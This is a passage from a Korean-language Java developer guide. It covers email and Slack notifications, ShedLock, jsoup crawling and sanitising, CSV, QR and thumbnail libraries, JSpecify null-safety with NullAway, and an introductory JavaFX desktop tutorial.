    mailSender.send(msg);
}
요청 스레드에서 직접 보내지 마세요. SMTP 는 수 초씩 걸리고 가끔 실패합니다 — 회원가입 API 가 메일 때문에 5초 걸리는 사고의 원인. @Async + 재시도(Spring Retry), 규모가 커지면 큐(k08)에 넣고 워커가 발송이 정석입니다. 대량 발송은 Gmail 이 아니라 SES 같은 발송 서비스로 — 일일 한도·스팸 평판 문제가 있습니다.

슬랙 알림 — 웹훅 한 줄

// 장애·주문 급증 같은 이벤트를 즉시 채널로
restClient.post()
    .uri(slackWebhookUrl)
    .body(Map.of("text",
        "🚨 결제 실패율 5%% 초과 — 최근 5분 %d건".formatted(fails)))
    .retrieve().toBodilessEntity();
// 실무 팁: 알림 전용 큐로 모아 초당 1건으로 배출 (도배 방지)

ShedLock — 서버 2대의 스케줄 중복

// 문제: @Scheduled 배치가 서버 대수만큼 "동시에" 돈다
//       → 정산이 두 번, 메일이 두 번 나가는 사고

// implementation "net.javacrumbs.shedlock:shedlock-spring"
//              + "shedlock-provider-jdbc-template"
@Scheduled(cron = "0 0 4 * * *")
@SchedulerLock(name = "dailySettle",
               lockAtMostFor = "50m", lockAtLeastFor = "5m")
public void dailySettle() {
    // DB 락 테이블로 "한 대만" 실행됨 — 나머지는 조용히 스킵
}
lockAtMostFor 는 배치 최장 시간보다 길게 — 짧으면 실행 중에 락이 풀려 두 대가 돕니다. 더 복잡한 실행 이력·재시도·수동 재실행이 필요해지면 그때 Quartz 나 Spring Batch(🗄️ d17) 로 올라가세요.
TOOL 17

파싱 · 생성 — jsoup · CSV · QR · 썸네일

HTML 긁기, CSV 주고받기, QR 코드, 이미지 축소 — 자잘하지만 모든 프로젝트에서 한 번은 나오는 요구들입니다.

jsoup — HTML 파싱 · 크롤링

// implementation "org.jsoup:jsoup"
Document doc = Jsoup.connect("https://example.com/notice")
    .userAgent("MyService/1.0 (contact@example.com)")  // 정체 밝히기
    .timeout(5_000)
    .get();

// CSS 선택자로 원하는 것만
for (Element row : doc.select("table.list tr")) {
    String title = row.select("td.title a").text();
    String href  = row.select("td.title a").attr("abs:href");  // 절대경로
}

// 용도 ② — 사용자 입력 HTML 소독 (XSS 방어)
String safe = Jsoup.clean(userHtml, Safelist.basic());
크롤링은 기술보다 매너·법이 먼저입니다 — robots.txt 와 이용약관을 확인하고, 요청 간격을 두고(초당 1건 이하), 실패하면 물러나세요. 로그인 뒤 데이터·개인정보 수집은 법적 문제가 됩니다. 동적 렌더링 페이지는 jsoup 으로 안 되고 Playwright 같은 브라우저 자동화가 필요합니다.

ZXing — QR 코드 생성

// implementation "com.google.zxing:javase"
BitMatrix m = new MultiFormatWriter().encode(
    "https://pay.example.com/t/9f2a", BarcodeFormat.QR_CODE, 300, 300);
MatrixToImageWriter.writeToPath(m, "PNG", Path.of("qr.png"));
// 입장권·결제 링크·2FA(otpauth://) 등록까지 이 패턴 하나로

CSV — Commons CSV 로 안전하게

// implementation "org.apache.commons:commons-csv"
// 읽기 — 따옴표·쉼표 포함 필드·줄바꿈까지 규격대로 처리
// 엑셀이 저장한 UTF-8 CSV 는 BOM 이 붙어 첫 헤더가 "이름" 이 됩니다 —
// 그대로 읽으면 rec.get("이름") 이 실패하므로 BOMInputStream 으로 걷어 내고 읽습니다
try (Reader r = new InputStreamReader(
        BOMInputStream.builder().setPath(path).get(), UTF_8)) {
    for (CSVRecord rec : CSVFormat.RFC4180.builder()
            .setHeader().setSkipHeaderRecord(true).build().parse(r)) {
        String name = rec.get("이름");
        int amount  = Integer.parseInt(rec.get("금액"));
    }
}

// 쓰기 — 엑셀에서 한글이 안 깨지려면 BOM 을 앞에!
try (Writer w = Files.newBufferedWriter(out, UTF_8)) {
    w.write('\uFEFF');       // ★ UTF-8 BOM 문자
    CSVPrinter p = new CSVPrinter(w,
        CSVFormat.DEFAULT.builder().setHeader("이름","금액").build());
    p.printRecord("김하늘", 49000);
}
split(",") 으로 CSV 를 읽지 마세요. "서울, 강남구" 처럼 따옴표 안 쉼표에서 반드시 깨집니다. 수백 MB 급 대용량이면 파싱 속도가 빠른 univocity-parsers 도 검토하세요.

Thumbnailator — 이미지 축소 한 줄

// implementation "net.coobird:thumbnailator"
Thumbnails.of(uploaded)
    .size(400, 400)               // 비율 유지 축소
    .outputFormat("jpg")
    .outputQuality(0.85)
    .toFile(new File("thumb/p15.jpg"));
// 업로드 원본을 그대로 서빙하면 트래픽이 폭발합니다 — 업로드 시점에 축소
더 필요한 것은 t13 목적별 도구 찾기에서 검색하세요 — 여기 없는 분야(직렬화·재시도·테스트 데이터…)까지 표로 정리돼 있습니다.
TOOL 18

JSpecify — null을 타입 계약으로

자바에는 @Nullable이 스무 종류 넘게 있었습니다. 패키지가 다르면 도구가 다르게 해석했고, 그래서 아무도 믿지 않았습니다. JSpecify 는 구글·젯브레인스·오라클·우버·스프링이 함께 만든 표준입니다.

왜 표준이 필요했나 — 파편화된 @Nullable 이전 javax.annotation jetbrains.annotations androidx.annotation checkerframework 외 뜻이 미묘하게 다르고, 제네릭·배열에서의 의미가 정의돼 있지 않았다 지금 org.jspecify.annotations @Nullable · @NonNull · @NullMarked IntelliJ · NullAway · Error Prone 코틀린 컴파일러 · Spring Framework 7 같은 애너테이션을 모든 도구가 같은 뜻으로 읽는다 — 이것이 JSpecify 의 전부이자 핵심
Spring Framework 7 은 자체 @Nullable을 버리고 JSpecify 로 전환했습니다.
의존성 — implementation("org.jspecify:jspecify:1.0.0") · 런타임 의존성이 거의 없습니다(애너테이션만 · 약 3KB). Maven 도 동일

애너테이션 네 개가 전부입니다

@NullMarked — 기본을 뒤집는다

// package-info.java — 이 패키지 전체에 적용
@NullMarked
package com.example.order;

import org.jspecify.annotations.NullMarked;

// 이제 이 패키지 안에서는
public class OrderService {
    // 아무 표시가 없으면 = null 이 아니다 (계약)
    public Order findById(Long id) { ... }

    // null 이 올 수 있으면 명시한다
    public @Nullable Order findByNo(String orderNo) { ... }

    // 인자도 마찬가지
    public void update(Order order, @Nullable String memo) { ... }
}
이 방향이 핵심입니다. 예전에는 “null 일 수 있는 곳에 표시”했는데, 실제로는 대부분이 non-null입니다. @NullMarked로 기본을 non-null 로 뒤집으면 표시할 곳이 훨씬 적어집니다.

네 애너테이션의 역할

애너테이션뜻
@NullMarked이 범위의 기본은 non-null (모듈·패키지·클래스·메서드)
@Nullable이 타입은 null 일 수 있다
@NonNull이 타입은 null 이 아니다 — @NullMarked 안에서는 거의 쓸 일이 없다
@NullUnmarked이 범위만 다시 “모름” 상태로 — 마이그레이션 중 임시 탈출구
// 아직 정리 못 한 레거시 클래스만 예외 처리
@NullUnmarked
public class LegacyImportService {
    // 여기 안에서는 null 여부를 검사하지 않는다
}

타입 사용 위치 애너테이션 — 붙는 자리가 의미를 바꾼다

// JSpecify 의 @Nullable 은 TYPE_USE 애너테이션이다.
// 그래서 '어디에 붙느냐'로 뜻이 정확히 갈린다.

List<@Nullable String> a;    // 리스트는 있다. 원소가 null 일 수 있다
@Nullable List<String> b;    // 리스트 자체가 null 일 수 있다. 원소는 non-null
@Nullable List<@Nullable String> c;   // 둘 다

// 배열도 마찬가지
String @Nullable [] d;        // 배열이 null 일 수 있다
@Nullable String[] e;         // 원소가 null 일 수 있다

// 예전 애너테이션들은 이 구분을 못 했다 — JSpecify 가 해결한 대표적인 지점

// 메서드 체인에서도 정확하다
Map<String, @Nullable User> cache;
User u = cache.get("a");          // ⚠️ 도구가 "null 일 수 있음"을 안다

// 제네릭 타입 변수
class Box<T extends @Nullable Object> {   // T 가 nullable 일 수도 있다
    private T value;
    public T get() { return value; }
}
class NonNullBox<T> {                      // @NullMarked 안이면 T 는 non-null
    private T value;
}

실제 코드에 적용한 모습

// package-info.java
@NullMarked
package com.example.order.service;

// OrderService.java
public class OrderService {

    private final OrderRepository repository;      // non-null (기본)

    public OrderService(OrderRepository repository) {
        this.repository = repository;              // 검사 불필요
    }

    // 반환이 null 일 수 있으면 반드시 표시
    public @Nullable Order findByOrderNo(String orderNo) {
        return repository.findByOrderNo(orderNo).orElse(null);
    }

    // 선택적 인자
    public Order place(PlaceOrderCommand cmd, @Nullable String couponCode) {
        Order order = Order.of(cmd);
        if (couponCode != null) {                  // 도구가 이 검사를 요구한다
            order.applyCoupon(couponCode);
        }
        return repository.save(order);
    }

    // 컬렉션 — 리스트는 항상 있고 원소도 non-null (빈 리스트를 돌려준다)
    public List<Order> findByUser(Long userId) {
        return repository.findByUserId(userId);
    }
}

규칙과 관례

  • @NullMarked는 패키지 단위로 — package-info.java에 한 번 쓰면 그 패키지 전체에 적용됩니다
  • 모듈 전체에 적용도 가능합니다 — module-info.java에 @NullMarked
  • 컬렉션은 null 대신 빈 컬렉션을 돌려주세요 — @Nullable List는 호출부에 이중 검사를 강요합니다
  • 필드보다 생성자 주입 — 초기화 시점이 명확해집니다
  • 기존 Optional과 병행 가능 — Optional 은 반환 타입에, JSpecify 는 모든 위치에
Optional 을 대체하지 않습니다. 서로 다른 도구입니다 — Optional 은 “값이 없을 수 있음”을 런타임 객체로, JSpecify 는 정적 분석용 계약으로 표현합니다. 인자·필드·제네릭 파라미터에는 Optional 을 쓰지 않으므로 JSpecify 가 그 자리를 채웁니다.
TOOL 19

JSpecify 실전 — 검사 도구와 도입

애너테이션만 붙이면 아무 일도 일어나지 않습니다. 검사기(NullAway·IntelliJ)를 붙여야 빌드가 막아 주고, 코틀린 상호운용에서 진가가 드러납니다.

NullAway — 빌드에서 막는다

// build.gradle.kts
plugins {
    id("net.ltgt.errorprone") version "4.1.0"
}

dependencies {
    implementation("org.jspecify:jspecify:1.0.0")
    errorprone("com.google.errorprone:error_prone_core:2.36.0")
    errorprone("com.uber.nullaway:nullaway:0.12.3")
}

tasks.withType<JavaCompile>().configureEach {
    options.errorprone {
        // JSpecify 모드 — @NullMarked 를 인식한다
        option("NullAway:JSpecifyMode", "true")
        option("NullAway:AnnotatedPackages", "com.example")
        error("NullAway")                     // 위반 시 컴파일 실패
        // 점진 도입 중이라면 warn 으로 시작
        // warn("NullAway")
    }
}
NullAway 는 우버가 만든 검사기로, 안드로이드·서버 양쪽에서 널리 쓰입니다. 컴파일 시간에 거의 영향이 없어서(수 %) 상시 켜 둘 수 있는 것이 장점입니다.

검사기가 잡아 주는 것

@NullMarked
public class OrderService {

    public @Nullable Order find(Long id) { ... }

    public void bad(Long id) {
        Order order = find(id);
        order.getTotal();          // ❌ 컴파일 에러
        // dereferenced expression is @Nullable
    }

    public void good(Long id) {
        Order order = find(id);
        if (order == null) return;
        order.getTotal();          // ✅ 검사 후에는 통과
    }

    public void alsoGood(Long id) {
        Optional.ofNullable(find(id))
            .map(Order::getTotal)
            .ifPresent(System.out::println);
    }

    Order returnNull() {
        return null;               // ❌ non-null 로 선언한 메서드가 null 반환
    }
}

코틀린과의 상호운용 — 여기서 진가가 드러난다

애너테이션이 없을 때
// 자바: public String getName() { return null; }

// 코틀린에서 보면
val name = javaObj.name        // String! (플랫폼 타입)
println(name.length)            // 컴파일 통과 → 런타임 NPE 💥

// 코틀린의 null 안전성이 자바 경계에서 무력화된다
JSpecify 를 붙이면
// 자바(@NullMarked): public @Nullable String getName()

// 코틀린이 정확한 타입으로 읽는다
val name: String? = javaObj.name     // String? 로 인식
// println(name.length)               // ❌ 컴파일 에러
println(name?.length ?: 0)            // ✅

// non-null 로 선언된 것은 String 으로 온다
val id: Long = javaObj.id             // 검사 불필요

// 코틀린 컴파일러 옵션
// -Xjspecify-annotations=strict  (버전에 따라 기본 활성)
자바·코틀린 혼용 프로젝트라면 JSpecify 는 사실상 필수입니다. 자바 모듈에 @NullMarked를 붙이는 것만으로 코틀린 쪽 플랫폼 타입이 사라지고 null 안전성이 경계를 넘어 이어집니다. 코틀린 가이드의 자바와 섞어 쓰기 섹션과 함께 보면 그림이 완성됩니다.

점진적 도입 — 한 번에 다 하지 않는다

권장 순서

  1. 의존성 추가 — 애너테이션만이라 위험이 없습니다
  2. 새 패키지부터 @NullMarked — 새로 만드는 코드에만 적용
  3. NullAway 를 warn 으로 켜서 현황 파악
  4. 도메인·API 경계 패키지부터 정리 (효과가 가장 큽니다)
  5. 정리가 끝난 패키지를 AnnotatedPackages에 추가하고 error 로 승격
  6. 손대기 어려운 레거시는 @NullUnmarked로 격리

현실적인 마찰과 대처

문제대처
서드파티 라이브러리에 애너테이션이 없다NullAway 는 미표시 코드를 신뢰합니다. 경계에서 Objects.requireNonNull
필드가 나중에 주입된다생성자 주입으로 바꾸거나 @Nullable + 검사
Lombok 과 충돌생성된 코드에는 검사가 제한적 — 롬복 설정에서 애너테이션 복사 옵션 확인
기존 javax.annotation.Nullable둘 다 인식되지만 혼용하지 말고 단계적으로 교체
테스트 코드보통 검사 대상에서 제외합니다
효과가 가장 큰 곳 — 공개 API·도메인 모델·DTO입니다. 여기만 정리해도 NPE 사고의 상당 부분이 사라지고, IDE 자동완성과 경고가 훨씬 정확해집니다.
Spring Framework 7 · Boot 4 를 쓴다면 — 스프링 자체가 JSpecify 로 전환했기 때문에, 스프링 API 의 null 계약을 IDE 와 코틀린 컴파일러가 정확히 읽습니다. 코틀린에서 쓰던 -Xjsr305=strict 옵션이 하던 일을 이제 더 정밀하게 해 줍니다.
JAVAFX 25 LTS · 데스크탑 프로그램

웹 없이도
돌아가는
내 프로그램

사내 도구, 데이터 변환기, 배치 실행기처럼 브라우저가 필요 없는 프로그램을 만들 때 JavaFX 만큼 빠른 선택지가 없습니다. 자바를 이미 안다면 새로 배울 것이 거의 없습니다.

12SECTIONS
1exe 로 배포
0사용자 JRE 설치
CSS웹처럼 스타일링
FX 01

JavaFX 시작하기

Java 11부터 JDK 에서 분리됐습니다. 의존성으로 따로 넣어야 합니다.

Gradle 설정

plugins {
    java
    application
    id("org.openjfx.javafxplugin") version "0.1.0"
    id("org.beryx.jlink") version "3.1.1"        // 실행 파일 배포용
}

java {
    toolchain { languageVersion = JavaLanguageVersion.of(25) }
}

javafx {
    version = "25"        // ★ LTS 라인 (17 · 21 · 25). 최신은 26 이지만 JDK 24+ 를 요구합니다
    modules = listOf("javafx.controls", "javafx.fxml", "javafx.web")
}

application {
    mainClass.set("com.myapp.MainApp")
    mainModule.set("com.myapp")                   // 모듈 사용 시
}

dependencies {
    implementation("org.controlsfx:controlsfx:11.2.1")   // 유용한 추가 컨트롤
}
모듈내용
javafx.base속성·컬렉션 (자동 포함)
javafx.controls버튼·표 등 UI 컨트롤
javafx.fxmlFXML 로 화면 정의
javafx.graphics도형·애니메이션
javafx.web내장 브라우저(WebView)
javafx.media오디오·비디오
어떤 버전을 쓸까 — JavaFX 도 LTS 라인이 있습니다. LTS 는 17 · 21 · 25 이고, 그 사이 버전(22·23·24·26)은 6개월짜리 단기 릴리스입니다. 데스크탑 프로그램은 한 번 배포하면 오래 도니 ★ LTS 인 25 를 고르는 편이 안전합니다.
현행 최신은 JavaFX 26(2026-03)인데 --release 24 로 컴파일돼 있어 실행에 JDK 24 이상이 필요합니다 — JDK 21 에 묶여 있는 프로젝트라면 26 으로는 못 올라갑니다. JavaFX 버전은 JDK 버전과 같거나 낮게 맞추면 실수가 없습니다.

Swing 과 무엇이 다른가

SwingJavaFX
화면 정의자바 코드만FXML + CSS
스타일링LookAndFeelCSS (웹과 유사)
데이터 연결수동 갱신바인딩(자동 반영)
디자인 도구—Scene Builder (드래그&드롭)
차트·애니메이션직접 구현내장
파이썬의 PySide6 와 비교하면 — 구조가 거의 같습니다. Scene Builder = Qt Designer, FXML = .ui 파일, CSS = 스타일시트. 🐍 파이썬 가이드의 PySide6 탭을 보셨다면 개념이 그대로 통합니다.
Stage · Scene · Node — 세 겹이고, 셋째 겹은 나무입니다 ① 창 Stage — 창 하나 stage.setScene(...) 로 장면 교체 ② 장면 Scene — 장면 CSS 는 여기 — 안의 노드 전체에 적용 ③ 노드 나무 BorderPane root — 대개 레이아웃 노드 HBox TableView Label top · 안에 Button · TextField center bottom · 상태 표시 화면 전환 = 무대에 다른 장면을 올리거나, 나무의 가지를 바꾸는 것입니다 UI 요소는 반드시 JavaFX 스레드에서 만지세요 — 다른 스레드면 예외가 납니다
이 세 겹만 잡아 두면 나머지는 노드 종류를 익히는 일입니다.
FX 02

첫 창 만들기

JavaFX 앱의 뼈대는 항상 같습니다 — Stage(창) → Scene(장면) → Node(요소).

public class MainApp extends Application {

    @Override
    public void start(Stage stage) {           // 창 하나가 Stage
        Label label = new Label("안녕하세요");
        label.setStyle("-fx-font-size: 20px;");

        Button button = new Button("클릭");
        button.setOnAction(e -> label.setText("클릭했습니다!"));

        VBox root = new VBox(12, label, button);   // 세로 배치, 간격 12
        root.setAlignment(Pos.CENTER);
        root.setPadding(new Insets(20));

        Scene scene = new Scene(root, 400, 300);   // 장면 + 크기
        scene.getStylesheets().add(
                getClass().getResource("/style.css").toExternalForm());

        stage.setTitle("내 첫 프로그램");
        stage.setScene(scene);
        stage.setMinWidth(320);
        stage.getIcons().add(new Image(
                getClass().getResourceAsStream("/icon.png")));
        stage.show();
    }

    @Override
    public void stop() {                        // 종료 시 정리
        // 스레드 종료, 설정 저장 등
    }

    public static void main(String[] args) {
        launch(args);
    }
}

구조

Stage
창(윈도우)제목 표시줄·최소화·닫기가 있는 실제 창입니다.
▼ 담는다
Scene
장면창 안에 표시되는 내용 한 벌. 화면 전환 = Scene 교체.
▼ 담는다
Node
모든 화면 요소버튼·라벨·레이아웃 전부 Node 입니다. 트리 구조로 중첩됩니다.

창 여러 개 · 다이얼로그

// 새 창
Stage sub = new Stage();
sub.initOwner(stage);
sub.initModality(Modality.APPLICATION_MODAL);   // 부모를 못 누르게
sub.setScene(new Scene(new SubView(), 300, 200));
sub.showAndWait();                               // 닫힐 때까지 대기

// 기본 다이얼로그
Alert alert = new Alert(Alert.AlertType.CONFIRMATION);
alert.setTitle("확인");
alert.setHeaderText(null);
alert.setContentText("정말 삭제할까요?");
alert.showAndWait()
     .filter(r -> r == ButtonType.OK)
     .ifPresent(r -> delete());

// 파일 선택
FileChooser fc = new FileChooser();
fc.setTitle("엑셀 파일 선택");
fc.getExtensionFilters().add(
        new FileChooser.ExtensionFilter("엑셀", "*.xlsx", "*.xls"));
File file = fc.showOpenDialog(stage);

// 폴더 선택
File dir = new DirectoryChooser().showDialog(stage);
FX 03

레이아웃

화면 배치는 레이아웃 컨테이너를 겹쳐서 만듭니다. 6개만 알면 대부분 됩니다.

레이아웃배치 방식언제
VBox세로로 쌓기가장 많이 씁니다. 폼·목록
HBox가로로 나열버튼 줄·툴바
BorderPane상·하·좌·우·중앙 5칸메인 창의 기본 틀
GridPane행·열 격자입력 폼 (라벨 + 입력창)
StackPane겹쳐 쌓기로딩 오버레이·배경
AnchorPane모서리에 고정절대 위치가 필요할 때
FlowPane / TilePane넘치면 다음 줄로태그·썸네일 목록
SplitPane드래그로 크기 조절탐색기형 화면

메인 화면 기본형

BorderPane root = new BorderPane();

root.setTop(createMenuBar());          // 메뉴
root.setLeft(createNavList());         // 좌측 목록
root.setCenter(createTable());         // 본문 — 남는 공간을 다 차지
root.setBottom(createStatusBar());     // 상태 표시줄

// 툴바
ToolBar toolBar = new ToolBar(
        new Button("새로고침"),
        new Separator(),
        new Button("엑셀 저장"));

// 메뉴
MenuBar menuBar = new MenuBar();
Menu fileMenu = new Menu("파일");
MenuItem openItem = new MenuItem("열기...");
openItem.setAccelerator(KeyCombination.keyCombination("Ctrl+O"));
openItem.setOnAction(e -> openFile());
fileMenu.getItems().addAll(openItem, new SeparatorMenuItem(),
        new MenuItem("종료"));
menuBar.getMenus().add(fileMenu);

크기 조절 규칙

// VBox/HBox 안에서 남는 공간 차지하기
VBox.setVgrow(table, Priority.ALWAYS);
HBox.setHgrow(textField, Priority.ALWAYS);

// 오른쪽으로 밀기 (스페이서)
Region spacer = new Region();
HBox.setHgrow(spacer, Priority.ALWAYS);
HBox bar = new HBox(new Label("제목"), spacer, new Button("닫기"));

// 최대 크기까지 늘리기
button.setMaxWidth(Double.MAX_VALUE);

// 격자 폼
GridPane form = new GridPane();
form.setHgap(10);
form.setVgap(8);
form.setPadding(new Insets(16));
form.addRow(0, new Label("이름"), nameField);
form.addRow(1, new Label("이메일"), emailField);
form.add(saveButton, 1, 2);

ColumnConstraints c1 = new ColumnConstraints();
c1.setMinWidth(80);
ColumnConstraints c2 = new ColumnConstraints();
c2.setHgrow(Priority.ALWAYS);          // 두 번째 열이 늘어남
form.getColumnConstraints().addAll(c1, c2);
레이아웃 — 겹쳐 쓰면 거의 모든 화면이 나옵니다 VBox · HBox 세로 · 가로로 쌓기 가장 많이 씁니다 간격은 spacing 으로 BorderPane 위 · 아래 · 좌 · 우 · 가운데 앱의 큰 틀에 맞습니다 가운데가 남는 공간을 차지 GridPane 격자에 배치 입력 폼에 알맞습니다 행·열 크기 정책을 줄 수 있음 StackPane 겹쳐 쌓기 로딩 오버레이 · 배지 뒤에 넣은 것이 위로 절대 좌표로 놓지 마세요 — 창 크기와 글꼴이 다른 환경에서 무너집니다 남는 공간을 누가 차지할지는 성장 우선순위(Priority.ALWAYS)로 정합니다 틀은 BorderPane, 안쪽 줄은 HBox·VBox, 폼은 GridPane — 이 조합이 가장 흔합니다 Scene Builder 로 그리면 FXML 이 나오고, 코드로 짜도 결과는 같습니다
레이아웃은 예쁘게 만드는 도구가 아니라 다른 환경에서 안 무너지게 하는 장치입니다.
FX 04

컨트롤 갤러리

자주 쓰는 UI 요소와 그 사용법입니다.

입력

TextField name = new TextField();
name.setPromptText("이름을 입력하세요");
name.setText("김현우");
String v = name.getText();

PasswordField pw = new PasswordField();

TextArea memo = new TextArea();
memo.setWrapText(true);
memo.setPrefRowCount(5);

// 숫자만 입력받기
TextFormatter<Integer> fmt = new TextFormatter<>(
        new IntegerStringConverter(), 0,
        c -> c.getControlNewText().matches("\\d*") ? c : null);
TextField amount = new TextField();
amount.setTextFormatter(fmt);

CheckBox agree = new CheckBox("동의합니다");
agree.setSelected(true);

ToggleGroup group = new ToggleGroup();
RadioButton r1 = new RadioButton("남");
r1.setToggleGroup(group);

ComboBox<String> combo = new ComboBox<>();
combo.getItems().addAll("서울", "부산", "대구");
combo.setValue("서울");
combo.setEditable(true);

DatePicker date = new DatePicker(LocalDate.now());

Spinner<Integer> spinner = new Spinner<>(1, 100, 10);
Slider slider = new Slider(0, 100, 50);

표시 · 컨테이너

Label label = new Label("제목");
label.setGraphic(new ImageView(icon));      // 아이콘 붙이기

ProgressBar progress = new ProgressBar(0.4);
ProgressIndicator spin = new ProgressIndicator();  // -1 이면 무한 회전

ListView<String> list = new ListView<>();
list.getItems().addAll("A", "B", "C");
list.getSelectionModel().setSelectionMode(SelectionMode.MULTIPLE);
list.getSelectionModel().selectedItemProperty()
    .addListener((obs, old, now) -> onSelect(now));

TreeView<String> tree = new TreeView<>(rootItem);

TabPane tabs = new TabPane();
Tab tab = new Tab("주문", orderPane);
tab.setClosable(false);
tabs.getTabs().add(tab);

Accordion accordion = new Accordion(
        new TitledPane("기본 정보", basicForm),
        new TitledPane("상세 설정", detailForm));

ScrollPane scroll = new ScrollPane(content);
scroll.setFitToWidth(true);

// 차트
LineChart<String, Number> chart = new LineChart<>(
        new CategoryAxis(), new NumberAxis());
XYChart.Series<String, Number> series = new XYChart.Series<>();
series.setName("매출");
series.getData().add(new XYChart.Data<>("1월", 320));
chart.getData().add(series);

PieChart pie = new PieChart(FXCollections.observableArrayList(
        new PieChart.Data("A", 30), new PieChart.Data("B", 70)));

무엇을 쓸지 고르기 — 목적별

하고 싶은 것쓸 컨트롤
목록에서 하나 고르기항목 10개 미만 → ComboBox · 그 이상 → ComboBox + 검색 · 아주 많으면 별도 검색 창
표 형태 데이터TableView — 가상화가 기본이라 수만 행도 견딥니다(x11)
계층 구조TreeView · 컬럼도 필요하면 TreeTableView
숫자 입력Spinner(범위가 좁을 때) · TextField + TextFormatter
여러 개 선택ListView + SelectionMode.MULTIPLE · 또는 CheckBox 목록
진행 상황비율을 알면 ProgressBar · 모르면 ProgressIndicator
알림 · 확인Alert(간단) · Dialog<R>(입력을 받을 때)
화면 전환TabPane(동등한 화면) · BorderPane 센터 교체(마스터-디테일)

대화상자 — 사용자에게 묻고 받기

// 확인 — 되돌릴 수 없는 작업 앞에는 반드시
Alert confirm = new Alert(Alert.AlertType.CONFIRMATION);
confirm.setTitle("삭제 확인");
confirm.setHeaderText("주문 " + order.getNo() + " 을 삭제합니다");
confirm.setContentText("삭제하면 되돌릴 수 없습니다. 계속할까요?");
confirm.initOwner(stage);                         // ★ 부모 창 지정 — 뒤로 숨지 않게

if (confirm.showAndWait().filter(b -> b == ButtonType.OK).isPresent()) {
    delete(order);
}

// 오류 — 스택 추적을 접어서 넣어 두면 문의 대응이 쉬워집니다
Alert err = new Alert(Alert.AlertType.ERROR);
err.setHeaderText("저장에 실패했습니다");
err.setContentText(ex.getMessage());
var sw = new StringWriter();
ex.printStackTrace(new PrintWriter(sw));
var area = new TextArea(sw.toString());
area.setEditable(false);
err.getDialogPane().setExpandableContent(area);
err.showAndWait();

// 입력받기
TextInputDialog input = new TextInputDialog("기본값");
input.setHeaderText("사유를 입력하세요");
input.showAndWait().ifPresent(reason -> cancel(order, reason));

// 파일 선택 — 마지막 폴더를 기억해 두면 사용성이 크게 오릅니다
FileChooser fc = new FileChooser();
fc.setInitialDirectory(lastDir);
fc.setInitialFileName("주문_" + LocalDate.now() + ".xlsx");
fc.getExtensionFilters().add(
        new FileChooser.ExtensionFilter("Excel 파일", "*.xlsx"));
File f = fc.showSaveDialog(stage);
if (f != null) { lastDir = f.getParentFile(); export(f); }
initOwner(stage) 를 빠뜨리면 대화상자가 본 창 뒤로 숨습니다. 사용자에게는 프로그램이 멈춘 것으로 보입니다 — 실제로는 어딘가에서 응답을 기다리고 있을 뿐인데, 작업 표시줄에도 따로 뜨지 않아 찾을 방법이 없습니다. 모든 대화상자에 습관적으로 붙이세요.

TableView 를 실무 수준으로

TableView<Order> table = new TableView<>();

// 컬럼 — record 도 그대로 씁니다
TableColumn<Order, String> noCol = new TableColumn<>("주문번호");
noCol.setCellValueFactory(c ->
        new SimpleStringProperty(c.getValue().no()));

TableColumn<Order, Integer> amtCol = new TableColumn<>("금액");
amtCol.setCellValueFactory(c ->
        new SimpleIntegerProperty(c.getValue().amount()).asObject());

// 셀 서식 — 숫자는 오른쪽 정렬 + 천 단위 구분
amtCol.setCellFactory(col -> new TableCell<>() {
    @Override protected void updateItem(Integer v, boolean empty) {
        super.updateItem(v, empty);
        if (empty || v == null) { setText(null); setStyle(""); return; }
        setText(String.format("%,d", v));
        setStyle("-fx-alignment: CENTER-RIGHT;"
               + (v >= 1_000_000 ? " -fx-text-fill: #fb7185;" : ""));
    }
});

table.getColumns().setAll(noCol, amtCol);

// 정렬 + 검색 — 이 세 줄이면 필터가 완성됩니다
ObservableList<Order> master = FXCollections.observableArrayList(orders);
FilteredList<Order> filtered = new FilteredList<>(master, o -> true);
SortedList<Order> sorted = new SortedList<>(filtered);
sorted.comparatorProperty().bind(table.comparatorProperty());
table.setItems(sorted);

searchField.textProperty().addListener((obs, o, kw) ->
        filtered.setPredicate(item -> kw == null || kw.isBlank()
                || item.no().toLowerCase().contains(kw.toLowerCase())));

// 더블클릭으로 상세 열기
table.setRowFactory(tv -> {
    TableRow<Order> row = new TableRow<>();
    row.setOnMouseClicked(e -> {
        if (e.getClickCount() == 2 && !row.isEmpty()) openDetail(row.getItem());
    });
    return row;
});

table.setPlaceholder(new Label("조건에 맞는 주문이 없습니다"));  // ★ 빈 화면 안내
table.getColumns().forEach(c -> c.setReorderable(false));
setPlaceholder 를 안 주면 빈 표에 "내용 없음"이라는 영어가 뜹니다. 사용자는 프로그램이 잘못된 줄 압니다. 왜 비었는지를 알려 주세요 — "조회 조건을 입력하고 검색을 누르세요" 와 "조건에 맞는 결과가 없습니다"는 사용자가 할 일이 완전히 다릅니다.
FX 05

이벤트 처리

람다 덕분에 아주 간단합니다.

// 버튼 클릭
button.setOnAction(e -> save());

// 마우스
node.setOnMouseClicked(e -> {
    if (e.getClickCount() == 2) openDetail();        // 더블클릭
    if (e.getButton() == MouseButton.SECONDARY) showMenu(e);
});
node.setOnMouseEntered(e -> node.setCursor(Cursor.HAND));

// 키보드
scene.setOnKeyPressed(e -> {
    if (e.getCode() == KeyCode.ESCAPE) close();
    if (e.isControlDown() && e.getCode() == KeyCode.S) save();
});

// 엔터로 검색
searchField.setOnAction(e -> search());

// 값이 바뀔 때 (프로퍼티 리스너)
searchField.textProperty().addListener((obs, oldV, newV) -> filter(newV));
combo.valueProperty().addListener((obs, o, n) -> reload(n));

// 창 닫기 가로채기
stage.setOnCloseRequest(e -> {
    if (hasUnsavedChanges()) {
        e.consume();                    // 닫기 취소
        showSaveDialog();
    }
});

프로퍼티 바인딩 — JavaFX 의 강점 ★

// 값이 바뀌면 화면이 자동으로 따라옵니다
StringProperty status = new SimpleStringProperty("대기 중");
statusLabel.textProperty().bind(status);
status.set("처리 중...");             // 라벨이 자동 갱신 ✅

// 계산된 값 바인딩
IntegerProperty count = new SimpleIntegerProperty(0);
countLabel.textProperty().bind(count.asString("총 %d건"));

// 조건부 — 입력이 비면 버튼 비활성화
saveButton.disableProperty().bind(
        nameField.textProperty().isEmpty()
            .or(emailField.textProperty().isEmpty()));

// 진행률 연결
progressBar.progressProperty().bind(task.progressProperty());

// 크기 연결
imageView.fitWidthProperty().bind(pane.widthProperty().subtract(20));

// 양방향
textField.textProperty().bindBidirectional(model.nameProperty());
바인딩을 쓰면 “값 바뀔 때마다 화면 갱신 코드”가 사라집니다. 모델의 값만 바꾸면 UI 는 알아서 따라옵니다. JavaFX 를 쓸 거라면 이 개념을 꼭 익히세요.
